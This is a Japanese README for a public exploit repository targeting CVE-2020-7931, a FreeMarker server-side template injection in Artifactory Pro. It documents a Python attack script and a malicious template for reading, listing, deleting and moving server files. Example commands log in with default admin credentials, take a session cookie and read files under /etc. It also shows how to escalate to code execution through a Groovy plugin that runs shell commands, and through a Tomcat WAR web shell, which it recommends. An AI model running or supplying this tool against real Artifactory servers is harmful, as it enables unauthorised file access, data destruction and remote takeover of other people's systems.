gquere/cve-2020-7931server side template injection を使用した Artifactory のハッキング
CVE-2020-7931 は、Artifactory における意図的な設定ミスの脆弱性であり、攻撃者が FreeMarker テンプレート から サーバーサイドテンプレートインジェクション を実行することを可能にします。
この脆弱性は Atredis の Ryan Hanson によって発見され、2019年後半にすべての影響を受けるバージョンに対して修正されました。この脆弱性は Artifactory の Pro バージョンでのみ機能します。他のバージョンにはテンプレート機能がないためです。
このリポジトリには スクリプト と テンプレート が含まれています。
テンプレートは最初の GET パラメータを取得して、実行するアクションを決定します。有効なアクションは次のとおりです：
info Returns info about the current configuration
read <filepath> Reads a file, as is
read_bytes <filepath> Reads a file binarily as integers
list <dirpath> List a directory contents
create_file <filepath> Create an empty file
mkdir <dirpath> Create a folder
delete <filepath> Delete a file or empty folder
move <src> <dst> Move a file (*)
copy <scr_path> <src_file> <dst> Copy a file to the application's web root. Pay attention to the quirky arguments (**)
(*): 移動には Java の renameTo メソッド を使用しますが、異なるファイルシステム間では機能しません。異なるファイルシステム間で移動を行うには、コピーしてから移動する必要があります。詳細は以下を参照してください。
(**): ソースはベースパスとファイル名に分割する必要があります。宛先は Artifactory の Web アプリケーションルートパスからの相対パスです。例：/opt/jfrog/artifactory/tomcat/webapps/artifactory/
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
前述のとおり、renameTo() は異なるファイルシステム間では機能しません。これをエミュレートするには、まずファイルをコピーしてから移動します（すぐに実行してください。そうしないと Artifactory がクラッシュする可能性があります！）：
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): 前に説明したように、ここで /bla は実際には /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla を指します。これは root.write() が必ず現在のアプリケーションの Web ルートに書き込むためです。
これにより、アーティファクトを別のファイルシステムに保存している設定を悪用できます（これは適切な方法です！）。
デフォルトの Artifactory インストールではクラスをインスタンス化できないため、通常の freemarker.template.utility.Execute トリック は機能しません。
ファイルシステムを操作するだけでリモートコード実行を取得する方法は他にもいくつかあります：
シェル実行を行う Groovy プラグインの例を以下に示します（より詳細な例はこちら）：
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
プラグインはプラグインパス /var/opt/jfrog/artifactory/etc/plugins/ に配置し、Artifactory 管理者権限 を必要とする API 呼び出し を使用してリロードする必要があります：
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
Web シェルを実装する Tomcat サーブレット です。
WAR ファイルは Tomcat の webapps パス /opt/jfrog/artifactory/tomcat/webapps/ に配置する必要があります。デフォルトでは、WAR ファイルのデプロイは自動で行われ、Artifactory インスタンスの隣に別の Web アプリケーション（例：http://localhost:8081/sample/）が起動します。
この方法は Artifactory 管理者権限を必要とせず、コマンドをその場で実行するのがより簡単であるため、推奨される方法です。